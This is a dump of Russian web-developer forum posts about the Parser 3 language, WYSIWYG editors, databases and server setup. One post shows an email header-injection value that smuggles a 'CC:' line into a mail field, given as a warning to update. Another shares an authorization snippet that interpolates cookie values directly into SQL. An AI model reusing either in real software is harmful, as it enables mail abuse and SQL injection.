2. Все это скопируйте в TinyMCE и [url=\"http://www.fckeditor.net/demo/default.html\"]FCKeditor[/url].\
3. Нажмите кнопку \"очистить\" (в FCKeditor для этого есть специальное окно вставки)\
4. посмотрите исходник получившегося кода (в обоих редакторах такая опция есть)\
\
Результат на лицо.\
\
TinyMCE, безспорно, штука хорошая. Я ей пользовался около года. Однако, с перезодом на XML мусор из Word-а стал мешать."
"50989","Может у вас не так откофигурирован TinyMCE?\
В нем все тоже самое, вставка из ворда отдельным элементом вынесена и вот проверил только что на довольно сложном документе - с оформлением и таблицами. Вставил в оба редактора и получил вполне предсказуемый результат...\
Разве только FCK вместо <p></p> везде поставил <div></div> \
в остальном - идентичный исходник.\
\
Плюс к TinyMCE очень легко прикручивать свои правила чистки кода (хотя может и у FCK это есть - не смотрел просто). Так что жаловаться на качество кода не могу..."
"50990","5. FCKeditor тоже кучу мусора оставляет, даже через очиститель. Посмотрите в сторону http://kruglov.ru/useful/cleanhtml/, я в будущем собираюсь его прикрутить к FCKeditor-у, но пока времени нет, так что когда возьмусь — не знаю."
"50991","[quot]\
Я все-таки написал и файловый менеджер, и менеджер картинок :)\
[/quot]\
\
Поделитесь с общественностью? ;)"
"50992","СИТУАЦИЯ:\
Существует поисковая система по базе туроператоров http://www.turpoisk.com.ua/, сайт работает на парсере -- при сабмите поисковой формы, формируется запрос, который направляется в систему на другом сервере(php+xsl), которая выбирает из своей базы данных необходимую информацию, и отсылает нам.\
\
Результаты поиска выводятся с помощью оператора, который подгружает php:\
@use_php[file_name][path;file]\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$file_name;\
	$.form[$form:fields]\
	$.timeout(180)\
]]\
^untaint{$file.text}\
\
Если в поиске тура оставить все параметры по умолччанию, но изменить дату выезда на, скажем, с 19 марта по 19 марта, система выдает 1683 тура по Египту, время ожидания ответа от сервера составляет примерно 4 секунды. Все работает, все красиво.\
\
ПРОБЛЕМА:\
Если изменить даты на с 19 марта по 19 апреля, система должна выдать около 30 000 туров, время ожидания ответа составляет примерно 11 секунд (по опыту работы с сайтами, работающих с этой же   базой туров и системой поиска)\
Но при работе с эксплорером через 10 секунд получаем ошибку \"невозможно отобразить страницу\".\
Мозилла через десять секунд начинает открывать новые пустые окна со скоростью несколько штук в секунду.\
\
Запись в логе парсера:\
SIGPIPE received while executing code. uri=/results.php?_c=&_hf=&p=result&pl=2&tsf_y=2006&tst_y=2006&c=14&_r=&tt=1&city=1&tsf_d=19&tsf_m=3&tst_d=30&tst_m=4&df=1&dt=14&_hcat=&_ea=&sort=2, method=GET, cl=0 \
\
Подскажите, куда бежать?"
"50993","который импортит буфер как текст, как есть, или с сохранением вордовой разметки (адаптирует).\
Вполне ничего."
"50995","Все адреса указаны в исходниках."
"50996","после их проверки, броузер должен выдать сообщение и через 2-3 секунды перенаправлять куда нужно.\
Я делаю это например так:\
[code]$response:refresh[\
$.value[3]\
$.url[javascript:history.back(1)]\
]\
(если клиент ошибся при вводе) и как можно закинуть это в auto.p как метод?"
"50997","http://www.artlebedev.ru/tools/typograf/webservice/TypografWebServiceClient11_parser.zip"
"50999","так не интересно ;)"
"51000","Проще тогда проверять на наличие ошибок и, только если всё правильно, делать безусловный редирект на окейную страницу. И к яваскрипту не привязаны."
"51001","http://www.mbclub.ru/ - сложный проект??? Некрасиво наверное, но я бы так не сказал."
"51002","+1 :)"
"51003","Да вот только мне нужен фаловый менеджер и срочно, а в FCK он есть. И ничего не стоит. Свой у меня не получился (по причине плохого знания JS). К томуже, мне понравилось как в FCK настраиваются панели инструментов.\
\
Единственны минус, который я сейчас заметил это немного корявый подход к использованию стилей в FCK. В TinyMCE можно просто указать .css файл для стилей обрабатываемого текста и TinyMCE может его прикрутить к в виде списка (правда в новой версии способ этот немного изменился)\
\
В FCK нужно создать xml-файл, описывающий какие стили будут доступны пользователю для редактирования. В принципе, подход даже более правильный, но как-то после TinyMCE непривычно..."
"51004","я подумаю над вашим предложением :)\
вполне возможно, что вместе еще и улучшим его... надо бы только отодрать его от самого TinyMCE, а то некоторые куски прямо в код исходника вставлял :)"
"51008","пока, что этот мусор мне мешает меньше, чем тот, который оставляет TinyMCE. Однако, возможно может возникнуть другая ситуация.\
\
Спасибо за ссылку. раздерусь до конца с FCKeditor, и может займусь \"бантиками\" к нему. Пока что, я только поменял у себя дома TinyMCE на FCKeditor и сморю, какие возникают ошибки (чего я не учел)."
"51009","Вот задача, решение которой я не могу понять: получить с формы идентификаторы и присвоенные им значения, затем записать это в БД.\
[code]\
#поля с данными\
<input name=\"current_number\" size=\"1\" value=\"$parent_items.current_number\"> <input name=\"item_id\" type=\"hidden\" value=\"$parent_items.id\">\
#сбор внесенных данных\
$item_id[$form:tables.item_id]\
$current_number[$form:tables.current_number]\
[/code]\
\
Как я понимаю, нужно создать таблицу объединяющую два столбца\
[code]\
$united[^table::create{item_id	current_number \
$item_id.field	current_number.field}]\
[/code]\
но данная кострукция не работает: записывается только первое значение; при попытке вывода второго столбца выдается сообщение что этот столбез не найден.\
\
А обновление, данных в таблице БД, как я понимаю, должно происходить примерно так:\
[code]\
^united.menu{\
^connect[$connect_string]{ \
     			^void:sql{UPDATE $table_name set\
	     			id = '$united.item_id', \
         			current_number = '$united.current_number'\
\
      			} \
}\
}\
[/code]\
\
Пожалуйста, обьясните как решить мою задачу."
"51010","[code]^connect[$connect_string]{ \
     ^void:sql{UPDATE $table_name set\
     id = '$form:item_id', \
         current_number = '$form:current_number'\
\
      } \
}[/code]"
"51011","Полей INPUT несколько, поэтому и получаемых значений получается несколько.\
[b]Имелась в виду следующая констуркция:[/b]\
[code]^parent_items.menu{\
<input name=\"current_number\" size=\"1\" value=\"$parent_items.current_number\"> <input name=\"item_id\" type=\"hidden\" value=\"$parent_items.id\">\
}\
[/code]"
"51013","Чтобы сделать html валидным надо изучить html, парсер скорее всего тут не при чём..."
"51014","Пытаюсь сделать антифлуд для гостевухи. Использую хэшфайл. При повторном открытии выводит ошибку \"apr_sdbm_open(shared) error: Unknown error (-1)\". Я уже читал про такое на форуме, мне очень интересно, как сделать чтоб заработало? Неужели это неисправимый лаг? И, если это так, можно ли реализовать антифлуд другими способами (не через бд)?"
"51015","1. какая используется версия парсера?\
2. точно при формировании документа хешфайл открывается один раз?"
"51016","То есть из получаемых от формы данных должна получаться и записываться соотвествующим образом в БД примерно следующая таблица:\
[code]\
item_id current_number\
28 1\
15 2\
13 3\
34 4\
[/code]"
"51017","только имейте ввиду, что никакого соответствия 28 - 1 таким образом вы не получите.\
\
вариант:\
[code]^parent_items.menu{\
	<input name=\"current_number_$parent_items.id\" size=\"1\" value=\"$parent_items.current_number\">\
}[/code]\
\
как ловить такое думаю сами разберетесь :)"
"51018","Используется Parser 3.2.1. Файл открывается один раз за формирование документа. Причём закономерность появления ошибки так мною и не выявлена. Написал сообщение в гостевую, потом ещё одно, потом ещё, потом перезагрузил страницу (кнопка \"reload\"), затем попытался отправить ещё одно - выскочила ошибка. Теперь ошибка всё время при попытке захода на страницу. Хэшфайлы не удаляются."
"51020","хотя странно, что при этом ошибка появляется периодически...\
\
тест из примеров не работает?"
"51021","Следующая конструкция, естественно, не работает:\
[code]\
^parent_items.menu{\
	^if(def $form:current_number_$parent_items.id){\
		$parent_items_id[$parent_items.id]\
			^connect[$connect_string]{ 	\
				^form:current_number_$parent_items.id.menu{\
					^void:sql{UPDATE $table_name set\
						current_number = '$form:current_number_$parent_items.id.field'\
					WHERE\
						id = '$parent_items_id'\
					}\
				}\
			}\
	}\
}\
[/code]\
\
Не могу понять, как нужно?"
"51022","Может ли быть, что 500 ошибка выходит из-за того, что файл parser3.cgi имеет атрибут 644, а не 755?"
"51025","судя по тому, что я читал, похоже на то, что это баг. Может, подскажите, каким ещё способом можно вести \"антифлудирование\" ))?"
"51027","то можно складывать в табличку на диск.\
Для проверки подгружать её, преобразовывать к хэшу и проверять ключ.\
Но это много медленнее БД и хэшфайла."
"51028","Ф топку сайт - легче поди переделать."
"51029","На сервер лежит файлик,который генерит perl таким выводом:\
printf (\"%02d.%02d.%d\\n\",$mday,$mon,$year);\
Затем я его отдаю клиенту так\
$response:download[^file::load[binary;/file.txt]]\
Все работает, но обычный блокнот не понимает таких переносов строк, вместо них прямоугольнички. Как сделать чтоб блокнот стал нормально отображать текст?"
"51032","Какая-то ошибка с определением Entity:\
[code]Entity: line 2431: error: Input is not proper UTF-8, indicate encoding !\
<referer to=\"http://www.yandex.ru/yandsearch?&amp;text=&#47149;2\">\
                                                       ^\
Entity: line 2431: error: Bytes: 0xEA 0xE2 0x2D 0x32\
<referer to=\"http://www.yandex.ru/yandsearch?&amp;text=&#47149;2\">\
                                                       ^[/code]\
[url=\"http://encycl.atsar.ru/i3/2006/3/16/\"]encycl.atsar.ru/i3/2006/3/16/[/url]"
"51033","Поделись плиз"
"51034","Спасибо, я вроде сделал через бд.."
"51035","Кому-то это как два байта :)\
Тем не менее, там были заложены основные блоки:\
- регистрация\
- новости\
- голосования\
- галерея\
- форумы\
- публикация статей\
- микромагазин (его целиком увидеть нельзя, я его блокировал давно по политическим мотивам)\
- банерокрутилка\
- множество других мелких кусочков\
Конечно, это была первая версия, которая была выпущена и обкатана. После чего уже в начале 2005 года было выпущено новое ТЗ на изменение и улучшение функционала и кода. Были кардинально пересмотрены система регистрации (в части проверок), система разделения прав администраторов, ник-лист, галереи, управление модельным рядом, весь раздел досуга, кое-что еще. Главное, был накоплен опыт и понимание того, что на самом деле нужно :)\
\
Изменения не были и не будут сделаны, оставшаяся команда намерена сейчас переписать все на php (переписывают уже полгода).\
Много там, мало - сложно сказать. В базе используется 65 таблиц (не считая прикрученных баз чата и банерокрутилки), порядка 350 рабочих файлов. Ежедневно порядка 20 тысяч просмотров и 1700 посетителей.\
-------\
Если это кому-то интересно, то после фактической смены движка я смогу выложить большую часть кода. Там есть что ругать, несомненно.\
Но и особо стыдного нет. Он был сделан на уроне наших знаний того периода.\
Сам с удовольствием посмотрел бы на алгоритмы и идеи (коды мне менее интересны) б[b]о[/b]льших, чем этот.\
Еще раз хочу выразить большое спасибо за Парсер создателям, а всему сообществу - за постоянное подпитывание идеями :)"
"51036","Файл-менеджер - это хорошо.\
А реализовал (или задумывался) ли кто-нибудь такую функцию в подобных редакторах.\
Есть медиабиблиотека (для простоты возьмем изображения).\
Данные о каждом изображении содержатся в структурированном каталоге на основе БД, сами изображения - в виде файлов в отдельной папке (каталоге/директории).\
Необходимо при написании текста в нужном месте из редактора открыть окно библиотеки и выбрать нужное изображение. Результатом выбора должно быть вставленное изображение (естественно в виде img src с  путем до изображения). В случае других медиатипов, например, ссылка с иконкой типа (архив, pdf-файл и т.п.).\
Главное - оформленный тег с путем до файла в библиотеке."
"51039","Доброе время суток.\
Вот сталкнулся с такой проблемкой есть поле запроса куда подставляеться переменная date\
[code]\
@show_form[]\
$date[^date::now[]]\
<form method=\"POST\">\
<p>С&nbsp;<input type=\"text\" name=\"N\" size=\"10\" value=\"2005-08-24\">&nbsp;&nbsp;&nbsp;По&nbsp;<input type=\"text\"\
 name=\"K\" size=\"10\" \
[b]value=\"${date.year}-${date.month}-${date.day}\">[/b]</p>\
[/code]\
подставляеться значени в виде 2006-3-17, а необходимо что бы месяц указывался двумя цифрами (2006-03-17)\
Подскажите как можно это реализовать."
"51040","[code]<input type=\"text\" name=\"N\" size=\"10\" value=\"2005-08-24\">&nbsp;&nbsp;&nbsp;По&nbsp;<input type=\"text\"\
 name=\"K\" size=\"10\" \
value=\"${date.year}-^date.month.format[%02u]-${date.day}\">[/code]"
"51041","Если все будут делится своими исходниками (теми, что не жалко), то из всего получившегося можно будет сделать что-то реальное..."
"51043","есть многие редакторы с такими функциями, одно время работал стаким название забыл, но он очень популярный, так что можете найти. Он на пхп"
"51044","Лучше воспользоваться http://developer.yahoo.net/yui/calendar/index.html"
"51045","Возможно? А то у меня сообщения об ошибке обрезаются."
"51046","контролируется ли это парсером?"
"51048","и с их версиями. В Парсере используется libxml/libxslt"
"51054","А какой он?\
Safari?\
У меня в Опере не отображалось..."
"51056","работало следующее:\
[code]\
^mail:send[\
	...\
\
	$.to[someone@test.ru\
CC: misha@test.ru]\
\
	...\
]\
[/code]\
\
посему рекомендуется обновить парсер, в случае если в поля ^mail:send[] подставлялись $form:xyz."
"51058","Только file::load обрезает их. Пришлось разбить загрузку на 2 строки. Сначала загрузка, потом отдаю."
"51059","Под виндой почему-то только что огреб такую же ошибку. \
Файл открывается ОДИН раз.\
Попробовал воспроизвести - никак :( \
\
Под никсами еще ни разу не сталкивался."
"51060","может правда кэш даже после первого нажатия обновить не обновился?"
"51061","На твоём технологическом сайте нет форума. А тут сложно за темами следить.\
\
У меня есть кое-какие концептуальные наработки и я бы их \"влил\" в твою систему, но как и куда? Надо обсуждать концепции, а это дело сложное и долгое :)\
\
Если всё срастётся с личными планами и удасться взять дедик, то наверное смогу помочь хостингом через пару недель и доменом parcms.ru - хороший домен, хороший хостинг (www.rusonyx.ru)"
"51062","Как сделать чтоб вывелось при каком-либо событии, т.е. не ссылка, а по условии if например?"
"51063","..в последнеее время я редактор вместо русских слов выдаёт какую-то белеберду как в коде, так и на странице\
\
 Пример белеберды:\
&#9575;Ёхфырурхь&#8730;щ тр°хьє тэшьрэш&#9632; ёъЁюыыхЁ єЄю ЇръЄшўхёъш Єю, ўЄю т&#8730; ьюцхЄх \
  тшфхЄ№ т ЇюЁєьх эр фрээюь ёрщЄх."
"51064","Предлагаю убрать символ \"`\" из символов, которой можно обозначать переменную."
"51065","Винда XP SP2.\
Стоит денвер.\
Ставлю Apache Swissknife, качаю обновление винды, как написано. Устанавливаю. Вырубаю денвера, запускаю Apache Swissknife, все запускается, только localhost не работает: \"Время ожидания соединения истекло\" (сообщение FireFox)"
"51067","чем добавлять дополнительную проверку на этот символ?! :-)"
"51070","В базах данных символ \"`\" используется для обозначения полей, а в Parser-переменных мне кажеться этот символ бесполезен, и только вынуждает обрамлять фигурными скобками в конструкции:\
[code]`${name}`[/code]\
В то время, как можно было бы просто сделать так:\
[code]`$name`[/code]"
"51071","про VSIPE ни я ни google не знают. критерии? :)\
\
[quote]Где-то я видел, что подобное проделали с PHP.[/quote]\
вы с недавними обсуждениями про PowerDesigner не путаете ли?\
если нет, и не лень, пожалуйста, вспомните?\
\
[quote]\
PS: VB не стоит,\
object _i;\
_i.<тынц>\
работает\
[/quote]\
и что, [i]оно[/i] понимает, что в объекте таблица, и предлагает табличные методы?\
или, может, даже колонки?"
"51072","наверное как минимум есть одна причина, по которой вы пишиете ` вместо '. и видимо делаете это настолько часто, что на обрамление переменной в фигурные скобки у вас уходит пол дня и мешок нервов."
"51073","сюприз!\
\
если нет внятной документации по продукту,\
или хотя бы внятных комментариев,\
то, как и многим другим до вас, вам нужно разбираться самому."
"51075","это вложенный случай.\
ко мне с подобным уже tomash пару раз приходил, я сумел его переубедить. критерий ;)\
\
подумайте сами, тут полно противоречий."
"51076",";)"
"51077","те случаи несовместимости, что нам пока попадались,\
вылезали в точках, где автор XSL воспользовался конструкцией, запрещённой в XSL спецификации, однако работавшей, по попустительству авторов библиотеки обработки XSL.\
\
соответственно, при переходе с одной реализации спецификации на другую, мы наблюдали ошибки.\
достаточно было исправить ошибку, как код начинал работать в [b]обеих[/b] реализациях.\
\
если есть желание, процитируйте место, где испытываете проблему, может подскажем чего?\
[укажите все нужные подробности]"
"51078","совсем так не думаем.\
\
http://forum.mts.ru/6763296/\
\
Автор кода: Михаил Петрушин\
\
До него… была суета: paf, wozimer, smalex.\
После него… тоже будет суета ;)"
"51079","пишу на парсере магазин и тут встал вопрос корзины. хотел как сделать: создаешь куку с именем юзера, которая expires через пол-дня и в value хотел впихнуть табличку с полями:\
[code]\
каталог№   количество\
1234           3\
[/code]\
тока там табличку не впихнешь и метод обхода мне тоже не понравился(милый форум!)\
идея гдето на сервере создать табличку в БД а в куку пихнуть UID - тоже самое(тока через задницу) что и создать таблицу basket в БД и там 3 поля - каталог№,  кол-во,  id - имя юзера (помесь даты и машины юзера - через МД5) [чем мне последняя идея не понравилась - не можешь через 12 часов удалить записи отдельного пользователя, да и ваще - скока товаров он кинул в корзину - стока строк и займет! - тупизм!]\
ХОЧУ ЧЕРЕЗ КУКИ, ЕСЛИ НИКАК ЧЕРЕЗ КУКИ, ТО ТОГДА КАК?"
"51080","давайте задумаемся, кому нужен результат из 30000 записей?\
\
представьте, что вы его получили.\
и что будете с ним делать?\
сколько времени памяти уйдёт на обработку?\
\
вероятно, сможете организовать прямой доступ к базе данных:\
http://www.parser.ru/forum/?id=43029"
"51081","срочно всё zip&email!\
\
никогда ничего подобного не видел, и, когда правил проблему двойного открытия, специально сделал шаги, чтобы в подобном случае печатался внятный номер ошибки.\
\
дважды открыть файл теперь внутри одного скрипта просто нельзя:\
[code]\
// начиная с 3.2.0\
	if(file_list->get(file_spec))\
		throw Exception(\"parser.runtime\",\
			0,\
			\"this hashfile is already opened, use existing variable\");\
[/code]\
\
отмазка: в parser используется библиотека sdbm из поставки apache. библиотека проста и компактна [~1500строк].\
\
пока мной в ней найдена была только одна несущественная ошибка: невнятно выдавался номер ошибки при проблемах открытия файла. эта ошибка была поправлена, однако вы наблюдаете -1.\
\
очевидно, это новый bug.\
пока стабильно не воспроизведётся, починить невозможно."
"51082","высота ребятёнка в миллиметрах?"
"51083","ведь при неловком движении можно легко в журнал мегабайт на одну ошибку схватить, стоит разумное ограничение.\
\
вариант:\
[code]\
@unsafe_main[]\
ваш код\
\
@main[]\
^try{\
   ^unsafe_main[]\
}{\
   записываем ошибку в личный журнал\
   может быть даже НЕ выставляем флаг \"обработана\"\
}\
[/code]\
\
тут записываете что и как ходите.\
но помните о дисковом пространстве и ограничении на размер файла в 2Gb ;)\
если совсем лень думать, просто стирайте файл, если он вырос больше разумного, и только потом добавляйте в него строчку.\
\
смеха мало, реально на днях наступил:\
прислали 25ый сигнал.\
пришлось в man лезть ;)\
[quote]\
man 7 signal | grep 25\
SIGXFSZ     25,25,31     C      File size limit exceeded\
[/quote]"
"51084","делаем файл на диске, с переносами строк 0D 0A:\
[code]\
$response:download[^file::load[binary;_bug.html]]\
1\
2\
[/code]\
проверьте себя, этот файл должен получиться ровно в 57 байт.\
\
после чего обратитесь к нему, и получите ровно эти же 57 байт обратно. с теми же переносами."
"51085","не только по форуму. обсуждалось 1E7 раз.\
\
[quote]\
мужики, вот еду я на машине, и тут встал вопрос включенном парковочном тормозе. что делать-то?\
[/quote]"
"51086","Для обозначения поля в MySQL используем [`]:\
[code]SELECT [b][color=red]`[/color][/b]name[b][color=red]`[/color][/b] FROM table_name WHERE [b][color=red]`[/color][/b]id[b][color=red]`[/color][/b]>5[/code]\
В тоже время как для значений используем [']:\
[code]SELECT [b][color=red]`[/color][/b]name[b][color=red]`[/color][/b] FROM table_name WHERE [b][color=red]`[/color][/b]type[b][color=red]`[/color][/b] LIKE [b][color=green]'[/color][/b]dogs[b][color=green]'[/color][/b][/code]"
"51088","[code]\
^table::sql{\
	SELECT\
		name\
	FROM\
		table_name\
	WHERE\
		type LIKE 'dogs'\
}\
[/code]"
"51089","В случае если название поля совпадает с ORDER, SORT или другими зарезервированными словами, то возникают проблемы, поэтому лучше обрамлять в обратные кавычки: \"`\"\
[code]^table::sql{\
	SELECT\
		`name`\
	FROM\
		`table_name`\
	WHERE\
		`type` LIKE 'dogs'\
}[/code]"
"51090","и часто у вас происходит совпадение поля с зарезервированным словом + имя этого поля храниться в переменной? (у меня - ни разу)\
\
P.S. не смотря на то, что это мне не мешает, я согласен, что символу '`' не место в списке символов парсера, из которых могут состоять имена переменных без дополнительных телодвижений со стороны разработчика."
"51092","в открывшемся окне DOS запустите команду \
\
[code]ping 127.0.0.1[/code]\
\
и скопируйте сюда рузультат.\
\
Также скажите, пользуетесь ли вы proxy-сервером для доступа в сеть (в Firefox это Инструменты -> Настройки -> Парметры соединения). Если там установлено НЕ \"прямое подключение к интернет\", впишите в графу \"не использовать proxy для:\" \
\
[code]localhost, 127.0.0.1[/code]"
"51093","вероятность, что кто-то использует в переменной значок backstick (`)…\
\
ничуть не выше, что кто-то использует в имени поля такой значок. и как его тогда экранировать? какой-то двойной escaping?\
\
давайте начистоту: и то и то никто никогда не сделает.\
\
другое дело, если вы от посетителя принимаете имена полей, и передаёте прямо их внутрь sql запросов.\
заразился модной фразой: \
[b]вы хотите поговорить об этом?[/b]"
"51094","[i]На твоём технологическом сайте нет форума.[/i]\
Согласен. Я думал, что этого форума, для начала, хватит\
\
[i]У меня есть кое-какие концептуальные наработки и я бы их \"влил\" в твою систему, но как и куда? Надо обсуждать концепции, а это дело сложное и долгое :)[/i]\
На этот расчет система и делалась, чтобы все могли добавлять свои модули в систему.\
\
[i]Если всё срастётся с личными планами и удасться взять дедик, то наверное смогу помочь хостингом через пару недель и доменом parcms.ru - хороший домен, хороший хостинг (www.rusonyx.ru)[/i]\
Было бы неплохо. Я думал все выложить на своем сайте www.manufactory.pp.ru/ (сделать домен com.manufactory.pp.ru/), но кривые руки нашего админа закрыли на некоторое время мне доступ на внешние ftp-сервера."
"51095","Пока (да наверно и в будущем) буду размещать файлы там. Там, вроде как, есть даже форум."
"51098","А ^try не увеличивает ли значительно нагрузку на сервер? У меня, к сожалению, ошибка вылетает на публичном сервере (что-то эдакое пользователи вводят в огромной форме, что запрос слетает). Не хочется грузить чрезмерно сервер. Я предвижу уже очередной \"вариант\" (\"поставьте try на метод, из которого вылезает ошибка\"), но вопрос в первом предложении остается. :)"
"51099","Хотя, пока мне все равно придется все выкладывать на http://city.apatity.fio.ru/, т.к. ftp-доступ у меня временно отключен.\
Постараюсь на днях прикрутить простенький форум (есть заготовка, только ее надо переделать на XML)."
"51102","Беда с установкой. Форум читал, но ничего не нашел.\
Служба подержки самой Агавы - клинический тормоз.\
Может мне здесь помогут.\
\
Ситуация:\
Ставлю Парсер и хоче его назначить обработчиком .prr\
\
1. В cgi-bin копирую сам парсер, auto.p, либ и кодировки\
\
2. в .htaccess\
  AddHandler parser3.cgi .prr\
  Action parser3.cgi /home/user_name/public_html/cgi-bin/parser3.cgi\
\
  # запрет на доступ к .cfg и .p файлам:\
  <Files ~ \"\\.(p|cfg)$\">\
  Order allow,deny\
  Deny from all\
  </Files>\
\
3. Создаю некоторый тестовый index.prr\
\
4. при запросе к нему получаю 404 !!!!\
\
Это вообще как такое может быть???\
Что я еще забыл для успешной установки?"
"51103","[i][url=\"http://www.parser.ru/forum/users/?uid=1616\"]sergei.v2[/url] wrote:[/i]\
[quote]форум по мотивом парсер.ру (http://www.mbclub.ru/speak/forum/) за 3 года выдержал почти 200.000 сообщений (на парсер.ру за болшее время существование пока только 51.000)[/quote]\
\
Исходя из ссылки http://forum.mts.ru/6763296/ становиться понятно, что форум сделанный в Студии выдержал 6 763 296 (почти семь миллионов сообщений)"
"51105","в упоминаемом форуме:\
\
1. прииращение id не всегда 1, иногда 10, иногда 20 (я не знаю почему, ищите в документации по ораклу, мы честно указывали '1')\
\
2. тот форум пережил несколько реинкарнаций, и данные не херились, а перетаскивались."
"51106","это моя догадка...\
хотя я впринципе пробовал все варианты. результат тот же.\
\
а пошется только путь к катологу с парсером или имя файла парсера тоже должно присутствовать?"
"51108","ну я понимаю, что ее не должно быть, но она есть!\
в этом то как раз и беда, что это последнее чего ожидаешь..."
"51109","Выясните где у вас корень ВЕБ"
"51111","у меня всегда если указать неверный путь к обработчику страниц показывается 404.\
\
так что отсылать к хостеру или гадать на кофейной гуще незачем, по моему. надо прописать правильный script alias (прописывается это именно он, а [b]не[/b] путь). при определенных настройках апача в качестве обработчика может указываться путь от корня веб пространства, но никак не от корня устройства."
"51112","к сожалению не знаю.\
\
а нужно указывать только путь к каталогу или путь к самому файлу?"
"51115","разберитесь со структурой каталогов. Инструкции рассчитаны на то, что папка cgi-bin лежит [i]внутри[/i] document root, а в вашем случае она лежит рядышком. Попробуйте вместо[code]/cgi-bin/parser/parser3.cgi[/code]указать[code]/../cgi-bin/parser/parser3.cgi[/code]"
"51116","спасибо... все разрешилось..."
"51117","[quote]мужики, вот еду я на машине, и тут встал вопрос включенном парковочном тормозе. что делать-то?[/quote]\
а вот это, имхо, уже излишки злобы смешанные с сарказмом!)))))))))"
"51118","уважаемый all, \
\
подскажите пожалуйста, как увеличить command timeout (т.е. какой параметр в connection string использовать)?\
Перепробовал SQL_QUERY_TIMEOUT=120, CommandTimeout=120, Command Timeout=120 - ни одно не работает."
"51119","Я открыл свою рассылку:\
http://content.mail.ru/pages/p_21671.html\
\
Первый выпуск уже готов, будет разослан в конце недели.\
\
// Сухроб"
"51120","На форуме многие рекомендуют использовать этот редактор. Решил попробовать вроде бы всё отлично, но нехватает вставки картинок. Может кто посоветует рабочий плагин. Обшарил весь инет и соурфордже так и не нашёл."
"51121","не радует полное отсутствие нормальной авторизации\
сейчас пишу для своих проектов -- может потом выложу\
\
UPD: просто решение с правами\
[code]@checkPermissions[]\
$_checkUser[^check_pasw[$cookie:login;$cookie:passwd]]\
$selectPermissions[^table::sql{\
SELECT u_permissions \
FROM users\
WHERE u_login = '$cookie:login'\
AND u_password = '$cookie:passwd'\
}]\
$result[$selectPermissions.u_permissions][/code]"
"51122","В официальном списке 3D party plugins на sourceforge есть внушительный список плагинов (от php до питона, парсера нет :-)). Но переписывается все довольно легко. Я переписывал SimpleBrowser plagin (от с Ajax-om? который я порезал). За денек-дркгой можно не напрягаясь переписать."
"51124","[quote]не радует полное отсутствие нормальной авторизации[/quote]\
Авторизацию с проверкой прав имеет смысл делать тогда, когда будет, на что эти права накладывать. В случае с редактированием раздеделов можно, конечно, добавить права: например определить какие разделы и кто может редактировать (для этого в таблице t_sections есть поле rights), по в текущей реализации проекта это пока не самый важный момент, как мне кажется.\
\
[quote]сейчас пишу для своих проектов -- может потом выложу[/quote]\
Будем ждать. Как я уже говорил, проект расчитан на работу сообща: чем больше будет доля участия каждого, тем лучше и функциональнее получиться система в конечном итоге. Я, пока, не в состоянии учесть все и реализовать все необходимые функции. Пока что ориентируюсь на необходимый базовый минимум, достаточный для поднятия не сложного сайта."
"51125","У меня тоже простая авторизация была -- как ваша только с работающим md5, сейчас просто поребовалось права накрутить."
"51126","Для этого достаточно, хотябы, вставить код, подобный тому, что вы предложили. Главное, проектировать саму систему с поддержкой этой возможности.\
Как только у меня появится время переделать форум на xml и добавить на сайт поддержки системы форум и возможность выкладывать свои модули то блок проверки прав, в любом случае, будет добавлен."
"51127","форум для cms не первостепенен по моему мнению -- хотя все равно интересен"
"51128","скажите пожалуйста, поддерживает ли Parser использование функий php?\
\
Можно ли сделать:\
@aaa[]\
    php_function()\
    код парсера.."
"51130","В ходе обсуждения выяснилось, что есть много желающих заниматься расширением данного проекта. Как показала практика, форум на Parser.ru не лучшая площадка для обсуждения этого проекта, т.к. сложно следить за текущей темой.\
\
На странице поддержки проекта нужен будет форум для общения заинтересованных в поддержке проекта.\
\
Помимо этого, регастрация пользователей нужна будет для того, чтобы каждый мог самостоятельно предлагать (и выкладывать на сайте) свои модули на обсуждение."
"51131","может попробовать wiki? (напр) WackoWiki\
Готов помочь с хостингом"
"51132","есть оракл, в котором лежат какие-то жутко сложные информационные объекты. можно ли работать с ними через парсер? ( на пхп происходит так: посылается запрос получается тип и какие-то данные, которые обрабатываются в зависимости от типа...) как сделать рационально? (часть проекта УЖЕ написана на парсере, а интерфейс, как оказалось,  пхпшный.)"
"51133","взять отпарсить код страницы( сформировать хтмл и прочее) а потом пердать на php интерпретатор? долго и грузит сервер?"
"51136","[i]Готов помочь с хостингом[/i]\
В каком плане? [url=\"http://www.parser.ru/forum/users/?uid=397\"]ASharky[/url] также предлагает помоч с хостингом.\
\
Так как с выходом на FTP на неопределенный срок у меня проблемы (есть возможность выкладывать материалл только на сервер http://city.apatity.fio.ru) поэтому, думаю любая помощь будет к стати.\
\
Надо всем заитересованным в активной поддержки договориться."
"51137","Без всяких cookie. Количество языков неограничего.\
Правда сам редактор остается на русском (интерфейс), чтобы лишний раз не заморачиваться. Хотя язык редактора можно переопределить.\
Завтра выложу рабочую версию (утром, как только доберусь до работы)."
"51138","[code]ORDER BY `${sPrimaryKey}` DESC[/code]"
"51139","просто скажите какой ряд символов допустим в именах переменных"
"51140","хостинг .masterhost c CVS + домен .ru\
к понедельнику могу заказать"
"51142","Сейчас мой сайт работает на bhost.ru. В принципе, все устраивает, акромя работы с почтой через Parser. Глючит часто."
"51143","все проекты designi.ru"
"51144","Подскажите,\
как соорудить подобную конструкцию:\
\
^MAIN:dbconnect{$n[^table::sql{select ...\
^MAIN:dbconnect{$n2[^table::sql{select ...\
\
^if(n){^n.menu{\
 \
 ^if(n2){^n2.menu{*необходимо использовать id из перебранных элементов n.menu*}}\
 \
 }\
}\
\
т.е. как сделать двойной иф (или двойное меню)? не хочет так работать."
"51145","[code]\
^MAIN:dbconnect{\
	$n[^table::sql{select ...}\
	$n2[^table::sql{select ...}\
	^if($n){\
		^n.menu{\
			^if($n2){^n2.menu{...}}\
		}\
	}\
}\
[/code]\
\
^MAIN:dbconnect -  нужен один\
[code]^if($n)[/code]вместо\
[code]^if(n)[/code]"
"51146","может, не хочет, потому что какой-то из этих SELECT выдал пустое множество?\
\
и вообще, вы читали http://www.parser.ru/faq/forum/ ?\
\
что такое \"не хочет так работать\"? какая-то ошибка? какая именно?"
"51147","вместо\
[code]ORDER BY `${sPrimaryKey}` DESC[/code]\
лучше\
[code]ORDER BY $sPrimaryKey DESC[/code]"
"51148","[quote]^MAIN:dbconnect - нужен один [/quote]\
не обязательно, хотя мне больш енравицца один\
\
[quote]^if($n2){^n2.menu{...}}[/quote]\
